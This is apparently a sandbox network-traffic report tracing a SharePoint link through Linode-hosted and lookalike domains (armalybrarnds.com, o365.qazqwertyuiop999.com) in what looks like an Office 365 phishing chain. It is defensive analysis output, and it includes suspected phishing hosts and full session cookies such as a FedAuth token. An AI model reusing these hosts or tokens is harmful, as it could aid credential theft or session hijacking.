Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?99b58699882d2a506f102785d24faabf HTTP/1.1Host: d3a28cdb8704c670f30a4dc23c620218.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?13280bbe3c383236997d63c599c975a3 HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3a7732b18f139c53803af5dfb31ee28d HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=O365se&rid=591e798334e2687c090acfa8fd9c9e30&w3c=true&prot=https:&v=20190214&tag=[{%22TenantId%22:%22336d21a8-e4b3-444b-84f0-4aa92c3eb7c0%22,%22AppId%22:%22Documents%22}]&DATA=[{%22RequestID%22:%22ow1.res.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1028,%22T%22:1},{%22RequestID%22:%22ow1.res.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1088,%22T%22:1},{%22RequestID%22:%22d3a28cdb8704c670f30a4dc23c620218%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1945,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22BOM%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22d3a28cdb8704c670f30a4dc23c620218%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:2256,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22BOM%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22outlook.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1026,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22FRA%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22outlook.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1039,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22FRA%22,%22Fe%22:%22cafe%22}] HTTP/1.1Host: upload.fp.measure.office.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://lsscleancom-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3a7732b18f139c53803af5dfb31ee28d HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r.gif?MonitorID=O365se&rid=591e798334e2687c090acfa8fd9c9e30&w3c=true&prot=https:&v=20190214&tag=[{%22TenantId%22:%22336d21a8-e4b3-444b-84f0-4aa92c3eb7c0%22,%22AppId%22:%22Documents%22}]&DATA=[{%22RequestID%22:%22ow1.res.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1028,%22T%22:1},{%22RequestID%22:%22ow1.res.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1088,%22T%22:1},{%22RequestID%22:%22d3a28cdb8704c670f30a4dc23c620218%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1945,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22BOM%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22d3a28cdb8704c670f30a4dc23c620218%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:2256,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22BOM%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22outlook.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1026,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22FRA%22,%22Fe%22:%22cafe%22},{%22RequestID%22:%22outlook.office365.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1039,%22T%22:128,%22Rip%22:%228.46.123.0%22,%22Ep%22:%22FRA%22,%22Fe%22:%22cafe%22}] HTTP/1.1Host: upload.fp.measure.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0ndreivemail0.html HTTP/1.1Host: accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: botCheck=1
Source: global traffic	HTTP traffic detected: GET /002/ HTTP/1.1Host: armalybrarnds.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://armalybrarnds.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://armalybrarnds.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://armalybrarnds.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: o365.qazqwertyuiop999.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://armalybrarnds.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://armalybrarnds.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_layouts/15/AccessDenied.aspx?correlation=24227aa1%2D604d%2D7000%2D7515%2D8e5c3197e43d HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=632ded66-8ef0-4d7a-9a46-2a1ef7f803ad; ai_session=eKRnVKlDpsQEE+v+GauJzo|1737581977253|1737581977253; MSFPC=GUID=8fafd09628d342c9ab33371833e517a5&HASH=8faf&LV=202501&V=4&LU=1737581982649

Performs DNS lookups

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: lsscleancom-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: config.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: centralus1-mediap.svc.ms
Source: global traffic	DNS traffic detected: DNS query: ow1.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: d3a28cdb8704c670f30a4dc23c620218.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: upload.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com
Source: global traffic	DNS traffic detected: DNS query: armalybrarnds.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: o365.qazqwertyuiop999.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: spo.nel.measure.office.net

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.76f21602.1737581952.19c533f3&TotalRTCDNTime=87&CompressionType=gzip&FileSize=9768 HTTP/1.1Host: m365cdn.nel.measure.office.netConnection: keep-aliveContent-Length: 482Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, no-storePragma: no-cacheContent-Length: 59Content-Type: application/jsonExpires: -1P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; path=/; SameSite=None; secure; HttpOnlyX-NetworkStatistics: 0,525568,0,40,294306,0,106451,39X-SharePointHealthScore: 0X-VroomVersion: 2.0IsOCDI: 0X-DataBoundary: NONEX-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/SPRequestGuid: 17227aa1-40bc-7000-c854-0c615bc50ecbrequest-id: 17227aa1-40bc-7000-c854-0c615bc50ecbMS-CV: oXoiF7xAAHDIVAxhW8UOyw.0Alt-Svc: h3=":443";ma=86400Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=8.46.123.0"}]}NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0}Strict-Transport-Security: max-age=31536000X-FRAME-OPTIONS: SAMEORIGINContent-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com teams.cloud.microsoft *.office365.com goals.cloud.microsoft *.powerapps.com *.powerbi.com *.yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft *.officeapps.live.com *.office.com *.microsoft365.com m365.cloud.microsoft *.cloud.microsoft *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com;SPRequestDuration: 40SPIisLatency: 1
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, no-storePragma: no-cacheContent-Length: 59Content-Type: application/jsonExpires: -1P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; path=/; SameSite=None; secure; HttpOnlyX-NetworkStatistics: 0,4204800,38,151,2503072,0,2449245,39X-SharePointHealthScore: 2X-VroomVersion: 2.0IsOCDI: 0X-DataBoundary: NONEX-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/SPRequestGuid: 1c227aa1-c064-7000-c854-0dbbf6720c0brequest-id: 1c227aa1-c064-7000-c854-0dbbf6720c0bMS-CV: oXoiHGTAAHDIVA279nIMCw.0Alt-Svc: h3=":443";ma=86400Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=8.46.123.0"}]}NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0}Strict-Transport-Security: max-age=31536000X-FRAME-OPTIONS: SAMEORIGINContent-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com teams.cloud.microsoft *.office365.com goals.cloud.microsoft *.powerapps.com *.powerbi.com *.yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft *.officeapps.live.com *.office.com *.microsoft365.com m365.cloud.microsoft *.cloud.microsoft *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com;SPRequestDuration: 36SPIisLatenc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 22 Jan 2025 21:40:06 GMTContent-Type: application/xmlContent-Length: 278Connection: closex-amz-request-id: tx0000023f93cea7038437b-00679165b6-f34b24b5-defaultAccept-Ranges: bytes

URLs found in memory or binary data

Source: chromecache_818.2.dr, chromecache_960.2.dr, chromecache_806.2.dr, chromecache_1060.2.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_773.2.dr, chromecache_725.2.dr, chromecache_885.2.dr	String found in binary or memory: http://www.contoso.com
Source: chromecache_704.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_893.2.dr	String found in binary or memory: http://www.unicode.org/copyright.html
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://1drv.com/
Source: chromecache_1005.2.dr, chromecache_627.2.dr	String found in binary or memory: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/
Source: chromecache_632.2.dr	String found in binary or memory: https://amazon.com/
Source: chromecache_632.2.dr	String found in binary or memory: https://armalybrarnds.com/002/
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://centralus1-mediad.svc.ms
Source: chromecache_1055.2.dr, chromecache_922.2.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/web/policies
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://esign.svc.cloud.dev.microsoft
Source: chromecache_637.2.dr, chromecache_922.2.dr	String found in binary or memory: https://esign.svc.cloud.microsoft
Source: chromecache_755.2.dr	String found in binary or memory: https://floodgatesurveyschema.svc.cloud.microsoft/be998278-ae33-41a3-a032-f8020d1a9379/0777467b-557e
Source: chromecache_796.2.dr, chromecache_1010.2.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
